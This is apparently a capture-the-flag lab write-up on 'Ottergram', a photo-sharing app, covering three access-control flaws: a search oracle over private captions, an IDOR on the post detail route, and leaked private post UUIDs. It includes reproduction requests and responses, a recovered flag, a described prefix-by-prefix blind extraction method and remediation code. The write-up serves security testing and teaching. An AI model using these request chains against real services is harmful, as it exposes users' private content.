BugForge — 2026.08.06

Ottergram: Private Post Captions Are Searchable but Not Returned

BugForge Private Content Disclosure via Search Matching easy

Executive Summary

Ottergram is a React single page application backed by a Node/Express JSON API for a social photo sharing service. Accounts can be marked private, and the interface hides a private account’s posts from users who are not permitted to see them. Testing found two independent ways for an ordinary account to read a private post belonging to someone else. The search endpoint strips a private post’s caption from its response but still matches the search term against that caption, so the presence or absence of the row answers questions about text the server refuses to return. Separately, the post detail route serves any private post in full when addressed by its UUID handle, with no privacy or ownership check.

Testing confirmed 3 findings:

ID Title Severity CVSS CWE Endpoint
F1 Private post captions are matched by search but withheld from the response Medium 6.5 CWE-200, CWE-863 GET /api/search?q=
F2 Private posts readable by any authenticated user via the UUID handle Medium 6.5 CWE-639, CWE-862 GET /api/posts/:public_id
F3 Search discloses the identifier and the existence of private posts Medium 4.3 CWE-200, CWE-602 GET /api/search?q=

The flag was recovered through F2: search handed over the private post’s public_id (F3), and the detail route returned the full record including the caption. F1 and F2 score identically, because CVSS measures the disclosure and both end in the same cross account read of private post content. F1 is nonetheless the one to fix first, for a reason the score does not express: adding a privacy check to GET /api/posts/:public_id closes F2 and leaves F1 completely untouched.

Severity note. All three findings are scored PR:L on the basis that the attacker must hold a session. Registration is open here, so PR:N is arguable and would move F1 and F2 to 7.5. PR:L is used because the requests all fail with 401 Access token required without a token, and because the identical disclosure was scored 6.5 on the prior engagement against this application.

Prior engagement on this target. The F2 and F3 pair was documented on 2026-06-10 (the 2026-06-10 writeup); both engagements were served the same application bundle, main.ef1a88f0.js. Two corrections to that record follow from this engagement’s testing. The earlier writeup states that the integer id route enforces the privacy check while the UUID route does not. A control request here shows the detail route does not resolve integer ids at all: GET /api/posts/8 (the private post) and GET /api/posts/1 (a known public post) both return 404. The earlier writeup also treats the search redaction as effective, which F1 disproves.


Objective

Read a private post that the test account is not permitted to see, and recover the flag carried in its caption.


Scope / Initial Access

# Target Application
URL: https://lab-1786030040084-o0u7lf.labs-app.bugforge.io

# Auth details
POST /api/register (open self registration, returns a JWT immediately)
Test account: d4rk_otter (id 10, role=user, subscription_tier=free)
JWT: HS256, claims {id, username, iat}

Registration is open and the returned token is immediately usable. The token carries no role or subscription tier claim, so both are resolved server side from the database on each request.


Reconnaissance: Parsing the Application Bundle and Comparing Raw JSON Against the Rendered Page

The API surface was mapped from the Create React App build at /static/js/main.ef1a88f0.js, a 245KB single line file. A Python regular expression over <identifier>.<method>( recovered 36 verb and path pairs, which preserves verb asymmetry that a search for path strings alone would collapse. Responses were then compared against what the interface actually rendered.

Three observations shaped the test plan:

  1. The search component filters its results in the browser with n.filter(e => !e.private). A privacy decision made after the data reaches the page means the API returns rows the interface then hides, so the raw JSON is worth reading directly.
  2. The registration response decodes to {id, username, iat} with no role or tier claim. Authorization is resolved server side, so modifying the token is not a route to privileged data.
  3. GET /api/posts returns 15 posts with integer ids 1 to 7 and 9 to 16. Id 8 is absent, and every post object carries both an integer id and a UUID public_id. Two handles for the same object raises the question of which one the detail route consumes, and whether both are checked the same way.

Application Architecture

Component Detail
Backend Node/Express JSON API under /api; unmatched verbs fall through to the Express catch all handler
Frontend React single page application (Create React App build)
Auth JWT bearer, HS256, claims {id, username, iat}; role and subscription tier resolved server side
Database Not directly observable; posts carry an integer id and a UUID public_id

API Surface

Endpoint Method Auth Notes
/api/register, /api/login POST No Open self registration, returns a JWT
/api/forgot-password, /api/reset-password POST No Not assessed
/api/verify-token GET Yes Echoes the current user object
/api/posts GET Yes Feed; omits private posts
/api/posts, /api/posts/schedule POST Yes Post creation; not assessed
/api/posts/:public_id GET Yes Resolves the UUID only; no privacy check (F2)
/api/search?q= GET Yes Matches private captions, strips them on output (F1, F3)
/api/profile/:username GET Yes Privacy check enforced correctly
/api/profile, /api/settings PUT Yes Not assessed
/api/profile/avatar/import POST Yes Not assessed
/api/messages GET/POST Yes Returned an empty array for the test account
/api/subscribe POST Yes Not assessed
/api/admin/* GET Yes 403 for role=user
/api/insider/stats, /api/posts/scheduled GET Yes 403 for subscription_tier=free

Known Users

On this engagement’s instance, lab-1786030040084-o0u7lf:

Username ID Role Note
d4rk_otter 10 user Test account, free tier
kelp_forest 5 user Owner of the private post, integer id 8

On the earlier instance, lab-1786027783299-myacwa, used for the F1 control:

Username ID Role Note
haxor 10 user Account under our control, set private, owns the seeded post
haxor2 11 user Second account under our control, does the searching

User ids are assigned per instance and do not carry across, which is why id 10 appears in both tables.


Attack Chain Visualization

Track A, the path that produced the flag. It reads the post by dereferencing a leaked identifier.

┌─────────────────────────────┐     ┌─────────────────────────────┐     ┌─────────────────────────────┐
│ GET /api/search?q=otter     │     │ GET /api/posts/<public_id>  │     │ 200 OK, full private post   │
│ returns the private row as  │ ──▶ │ with an ordinary user token │ ──▶ │ caption carries the flag    │
│ a stub: caption stripped,   │     │ no privacy or ownership     │     │                             │
│ public_id present           │     │ check on this route         │     │                             │
└─────────────────────────────┘     └─────────────────────────────┘     └─────────────────────────────┘

Track B is the controlled experiment that established F1, not a path an attacker would run as drawn: its first step requires owning the hidden account, which is what makes the result unambiguous. Accounts B and C below are haxor (private, owns the post) and haxor2 (the searching identity). Against a real target the same behaviour is reached without seeding anything, by taking a private: true stub out of a search response and querying substrings attributed to it by its username or UUID. The seeded version is shown because it is the version that proves the mechanism.

┌─────────────────────────────┐     ┌─────────────────────────────┐     ┌─────────────────────────────┐
│ Account B set private, its  │     │ GET /api/search?q=pwnd sent │     │ Row present or absent tells │
│ caption holds a token that  │ ──▶ │ as account C: stub returns, │ ──▶ │ you whether the term is in  │
│ appears in no other field   │     │ caption absent, UUID shown  │     │ the withheld caption, one   │
│                             │     │                             │     │ character at a time         │
└─────────────────────────────┘     └─────────────────────────────┘     └─────────────────────────────┘

Findings

F1: Private post captions are matched by search but withheld from the response

Severity: Medium CVSS v3.1: 6.5 (CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N) CWE: CWE-200 (Exposure of Sensitive Information to an Unauthorized Actor), CWE-863 (Incorrect Authorization) Endpoint: GET /api/search?q= Authentication required: Yes

Description

Two behaviours combine on this endpoint:

  1. The redaction is applied to the output. A private post is returned as a stub in which the caption, image_url and created_at keys are absent rather than null, which is a server side change to the response.
  2. The match is applied to the caption. A search term that appears only in a private post’s caption still returns that post’s stub. The row’s presence in the result set is therefore an answer about the field the response withheld.

Both an exact match against the whole caption and a partial match against a fragment of it return the row. A negative control shows image_url is not among the searched fields, which removes the main alternative explanation for the match.

What was demonstrated, and what follows from it. The steps below show two things: a term matching a private caption across an account boundary, and a fragment of a caption matching rather than only the whole value. Those are the two properties a content read needs. The read itself follows directly: anchor on a known prefix such as bug{, extend it one character at a time, and keep whichever candidate returns the row. That walk was not executed. The flag was recovered through F2 before the question about search was asked, and the instance was torn down shortly afterwards, so no request in this document extends a prefix by a single character. The substring behaviour is evidence; the character by character read is a consequence of it, and it is reported here as such.

Two practical cautions for anyone running that walk. If the match is implemented with a SQL LIKE comparison, _ and % are wildcards and will return the row for the wrong reason, so they have to be escaped or dropped from the candidate alphabet. Whether the match is case sensitive was not tested, and that determines whether the alphabet is roughly 40 characters or roughly 64. At 64 candidates a 32 character value costs on the order of two thousand requests at worst, and far fewer where the format is known.

Impact

Would allow any registered user to read the content of another user’s private posts.

Reproduction

Provenance. The controlled experiment behind this finding spans two instances of the same lab. Steps 1 to 3 and Step 5 were captured on lab-1786027783299-myacwa; Step 4 was captured on this engagement’s instance, lab-1786030040084-o0u7lf. They are not one continuous session, and the two instances were not fingerprinted against each other, so treat the splice as consistent behaviour across two runs of the same lab rather than as one verified build. All five are raw request and response captures recovered from the proxy history.

Step 1: Establish the ground truth on an attacker controlled account

Account haxor (id 10) is set to private and posts a caption consisting only of the token pwnd, a string chosen because it appears in no id, no UUID and no username.

GET /api/profile/haxor HTTP/1.1
Host: lab-1786027783299-myacwa.labs-app.bugforge.io
Authorization: Bearer <haxor2 token>

Response 200:

{"user":{"id":10,"username":"haxor",...,"private_account":1,
 "followers":0,"following":1,"is_following":false},"posts":[],"private":true}

The account is private, the profile route withholds its posts, and the requesting account does not follow it.

Step 2: Search for the token from a different account

The bearer token used here decodes to {"id":11,"username":"haxor2"}, an account that neither owns the post nor follows its author.

GET /api/search?q=pwnd HTTP/1.1
Host: lab-1786027783299-myacwa.labs-app.bugforge.io
Authorization: Bearer <haxor2 token>

Response 200:

[{"id":"d4155a0c-25c8-477f-be01-4a42f6387e68","username":"haxor","private":true}]

The private post matches. The caption key is absent from the response, so the term was matched against a value the response does not contain.

Step 3: Confirm which field held the term

GET /api/posts/d4155a0c-25c8-477f-be01-4a42f6387e68 HTTP/1.1
Host: lab-1786027783299-myacwa.labs-app.bugforge.io
Authorization: Bearer <haxor2 token>

Response 200:

{"id":18,"public_id":"d4155a0c-25c8-477f-be01-4a42f6387e68","user_id":10,
 "image_url":"/uploads/a8739f71-0abc-4d77-ae2b-9a6e80f3368a.jpg",
 "caption":"pwnd","created_at":"2026-08-06 15:11:59","username":"haxor",...}

The caption is exactly pwnd, and user_id is 10 while the searching token belongs to id 11. The only field of that row containing the term is the caption, and the requester is not its owner.

Step 4: Show that a fragment of a caption matches, not just the whole value

On this engagement’s instance, kelp_forest’s private post carries the caption Quiet morning with the otters 🦦🌅 bug{...}. A three character query returns its stub:

GET /api/search?q=the HTTP/1.1
Host: lab-1786030040084-o0u7lf.labs-app.bugforge.io
Authorization: Bearer <d4rk_otter token>

Response 200 (excerpt):

[{"id":"33cb763e-46a2-48f7-b458-87d9100968dc","username":"admin","caption":"Otter swimming in the river 🌊",...},
 {"id":"4bec502e-b09a-4091-a503-36eeb0a13b7b","username":"kelp_forest","private":true},
 ...]

the appears in none of that row’s other fields: not the UUID 4bec502e-b09a-4091-a503-36eeb0a13b7b, not the username kelp_forest, and not the image path /uploads/otter3.png. Profile picture paths on this instance take the same /uploads/otterN.png form as the image paths, so they do not contain it either. It appears only in the caption, which the response omits. Every public row in the same response also matches on its caption, which is consistent with the caption being the searched field.

Step 5: Negative control, image paths are not searched

GET /api/search?q=otter3 HTTP/1.1
Host: lab-1786027783299-myacwa.labs-app.bugforge.io
Authorization: Bearer <haxor2 token>

Response 200:

[]

Two posts on that instance carry "image_url":"/uploads/otter3.png" and neither is returned, so image_url is not a searched field.

Remediation

Fix 1: Exclude rows the viewer may not see from the query, rather than blanking their fields in the response

// BEFORE (Vulnerable): every row is matched, then private rows are stripped on the way out
const rows = await db.all(
  `SELECT p.*, u.username, u.private_account
     FROM posts p JOIN users u ON u.id = p.user_id
    WHERE p.caption LIKE ?`, [`%${q}%`]);

res.json(rows.map(r => r.private_account
  ? { id: r.public_id, username: r.username, private: true }   // caption already matched
  : { id: r.public_id, username: r.username, caption: r.caption, ... }));

// AFTER (Secure): the visibility rule is part of the WHERE clause, so hidden rows never match
const rows = await db.all(
  `SELECT p.*, u.username
     FROM posts p JOIN users u ON u.id = p.user_id
    WHERE p.caption LIKE ?
      AND ( u.private_account = 0
            OR u.id = ?
            OR EXISTS (SELECT 1 FROM follows f
                        WHERE f.follower_id = ? AND f.followee_id = u.id
                          AND f.status = 'accepted') )`,
  [`%${q}%`, viewerId, viewerId]);

res.json(rows.map(toPublicPost));

Additional recommendations:

  • Treat the response projection as presentation, never as an access control boundary. Any field that can influence whether a row appears in a result set is readable regardless of whether it is returned.
  • Apply the same reasoning to every observable a hidden row can affect: result counts, pagination totals, sort position, and filter facets.
  • Derive the visibility rule once in a shared query builder used by search, feed and detail reads, so the rule cannot differ between them.

F2: Private posts readable by any authenticated user via the UUID handle

Severity: Medium CVSS v3.1: 6.5 (CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N) CWE: CWE-639 (Authorization Bypass Through User Controlled Key), CWE-862 (Missing Authorization) Endpoint: GET /api/posts/:public_id Authentication required: Yes

Description

The post detail route resolves a post by its public_id and returns the full record without consulting the author’s private_account setting, the requester’s ownership of the post, or any follower relationship. A self registered account with role=user and subscription_tier=free reads any private post given its UUID, and F3 supplies that UUID.

The same policy is enforced correctly on GET /api/profile/:username, which returns posts: [] and private: true for the same author. The rule exists in the application and this route does not apply it.

The route resolves the UUID only. Requesting the private post by its integer id returns 404, and so does a known public post by its integer id, so the two identifiers are not interchangeable and the 404 is not a privacy decision.

Impact

Would allow any registered user to read another user’s private post in full, including its caption and image path.

Reproduction

Step 1: Obtain the private post’s public_id from search

GET /api/search?q=otter HTTP/1.1
Host: lab-1786030040084-o0u7lf.labs-app.bugforge.io
Authorization: Bearer <d4rk_otter token>

Response 200 (private row from the result set):

{"id":"4bec502e-b09a-4091-a503-36eeb0a13b7b","username":"kelp_forest","private":true}

Step 2: Request the post by that identifier

GET /api/posts/4bec502e-b09a-4091-a503-36eeb0a13b7b HTTP/1.1
Host: lab-1786030040084-o0u7lf.labs-app.bugforge.io
Authorization: Bearer <d4rk_otter token>

Response 200:

{"id":8,"public_id":"4bec502e-b09a-4091-a503-36eeb0a13b7b","user_id":5,
 "image_url":"/uploads/otter3.png",
 "caption":"Quiet morning with the otters 🦦🌅 bug{k8oFCQBTo7Q5FXaqSCds1LByBfD7W6pc}",
 "username":"kelp_forest",...}

The full record is returned to an account that is neither the owner (user_id 5) nor a follower.

Step 3: Confirm the same policy is enforced on the sibling route

GET /api/profile/kelp_forest HTTP/1.1
Host: lab-1786030040084-o0u7lf.labs-app.bugforge.io
Authorization: Bearer <d4rk_otter token>

Response 200:

{"user":{...,"is_following":false},"posts":[],"private":true}

The profile route withholds the same author’s posts from the same account.

Remediation

Fix 1: Apply the visibility rule in the detail handler, below identifier resolution

// BEFORE (Vulnerable): resolution is the only gate
app.get('/api/posts/:id', auth, async (req, res) => {
  const post = await Post.findByPublicId(req.params.id);
  if (!post) return res.status(404).json({ error: 'Post not found' });
  res.json(post);
});

// AFTER (Secure): one shared predicate decides visibility, whatever handle was used
app.get('/api/posts/:id', auth, async (req, res) => {
  const post = await Post.findByPublicId(req.params.id);
  if (!post) return res.status(404).json({ error: 'Post not found' });

  if (!(await canView(req.user.id, post))) {
    return res.status(404).json({ error: 'Post not found' });
  }
  res.json(post);
});

// canView is the same function the profile and search paths call
async function canView(viewerId, post) {
  if (post.user_id === viewerId) return true;
  const author = await User.findById(post.user_id);
  if (!author.private_account) return true;
  return follows(viewerId, post.user_id);
}

Additional recommendations:

  • Return 404 rather than 403 when the check fails, so the response does not confirm that the object exists.
  • Do not rely on the length of public_id for protection. The feed and search both disclose it, so it functions as a public identifier regardless of how unguessable it looks.
  • Place the check in shared middleware or a single accessor so sibling routes on the same object cannot drift apart, which is what happened between this route and /api/profile/:username.

F3: Search discloses the identifier and the existence of private posts

Severity: Medium CVSS v3.1: 4.3 (CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N) CWE: CWE-200 (Exposure of Sensitive Information to an Unauthorized Actor), CWE-602 (Client Side Enforcement of Server Side Security) Endpoint: GET /api/search?q= Authentication required: Yes

Description

Private posts appear in search results as stubs. The caption, image_url and created_at keys are removed, but the response still carries the post’s public_id in the id field, the author’s username, and a private: true marker. The interface never shows these entries because the bundle removes them in the browser with n.filter(e => !e.private), so the disclosure is invisible on the page and plain in the JSON.

F1 and F3 are two consequences of one behaviour on one endpoint: private rows are matched by the query and then returned as stubs. They are recorded separately because they disclose different things, F1 the caption content and F3 the identifier and the fact that the row exists. The correct fix closes both, and either remediation below would do it. The separation matters for a partial fix: removing the identifier from the stub, or blanking more fields, addresses F3’s disclosure while leaving F1 entirely exploitable, because the row is still present and still matched.

Impact

Would reveal which users hold private posts, and supply the identifier that F2 dereferences.

Reproduction

Step 1: Request search results and read the JSON rather than the rendered page

GET /api/search?q=otter HTTP/1.1
Host: lab-1786030040084-o0u7lf.labs-app.bugforge.io
Authorization: Bearer <d4rk_otter token>

Response 200 (private entry from the result set):

{"id":"4bec502e-b09a-4091-a503-36eeb0a13b7b","username":"kelp_forest","private":true}

The browser drops this entry before rendering. The API has already disclosed the identifier and the fact that this author holds a private post.

Remediation

Fix 1: Omit rows the viewer may not see, instead of returning them with fields removed

// BEFORE (Vulnerable): the row ships with its identifier and a private marker
res.json(results.map(r => r.private_account
  ? { id: r.public_id, username: r.username, private: true }
  : toPublicPost(r)));

// AFTER (Secure): the row is not in the result set at all
res.json(results.filter(r => visibleTo(req.user.id, r)).map(toPublicPost));

Additional recommendations:

  • Remove the n.filter(e => !e.private) call from the search component. A filter in the browser hides a disclosure that has already happened and gives a false impression that the rule is enforced.
  • Do not return a private: true marker for objects the viewer cannot see. The marker itself confirms the object exists.

OWASP Top 10 Coverage

  • A01:2021 Broken Access Control: The detail route serves a private post to an account that is neither its owner nor a permitted viewer, and the search query matches rows the viewer is not permitted to see.
  • A04:2021 Insecure Design: Privacy is implemented as an output filter over a result set that has already been computed without regard to the viewer, and as a filter in the browser over data the API has already sent.

Untested Surface

The objective was met early, so the following carried zero probes. This is untested surface, not a clean result:

  • PUT /api/settings and PUT /api/profile, both candidates for mass assignment on role, subscription_tier and private_account
  • POST /api/subscribe, a candidate for self upgrade to the insider tier
  • POST /api/profile/avatar/import, which imports by URL and is shaped like a server side request forgery target
  • No injection sweep of any class (SQL, cross site scripting, template) was run on any input field, including q and post captions
  • Encoding, type and cardinality variations on the :public_id parameter

Failed Approaches

Approach Result Why It Failed
GET /api/posts/8, the integer id of the hidden post 404 Post not found The route does not resolve integer ids. The control request GET /api/posts/1, a post just seen in the feed, also returned 404, which reframed the response from an access decision to the wrong handle.
Forging role or subscription tier in the JWT No claim to modify The token carries {id, username, iat} only. Both values are resolved server side per request.
Unauthenticated read of the post and of search 401 Access token required Both routes require a token. Any self registered account is sufficient, but a token is mandatory.
GET /api/profile/kelp_forest for the private post’s content posts: [], private: true The privacy check is applied correctly on this route.
Admin route group 403 Admin access required The role check is enforced on /api/admin and its users, posts, comments and analytics children.
Insider routes 403 Insider subscription required The subscription tier check is enforced on /api/insider/stats and /api/posts/scheduled.
DELETE /api/posts/<id> Express catch all response, Cannot DELETE The route does not exist. Probed with nonexistent identifiers only.
Sweeping search with common terms (a, e, i, o, u, otter, the, s) to work out what it matches on The private row returned on several terms Every term appears in two or more candidate fields of that row, so a hit carried no information about which field produced it. One request from this sweep, q=the, did settle the question, but only once it was checked again from proxy history against the caption recovered later. A term unique to one field would have answered it on the first request.

Tags: #broken-access-control #idor #bola #information-disclosure #blind-extraction #search #bugforge Document Version: 1.0 Last Updated: 2026-08-06

#broken-access-control #idor #bola #information-disclosure #blind-extraction #search #bugforge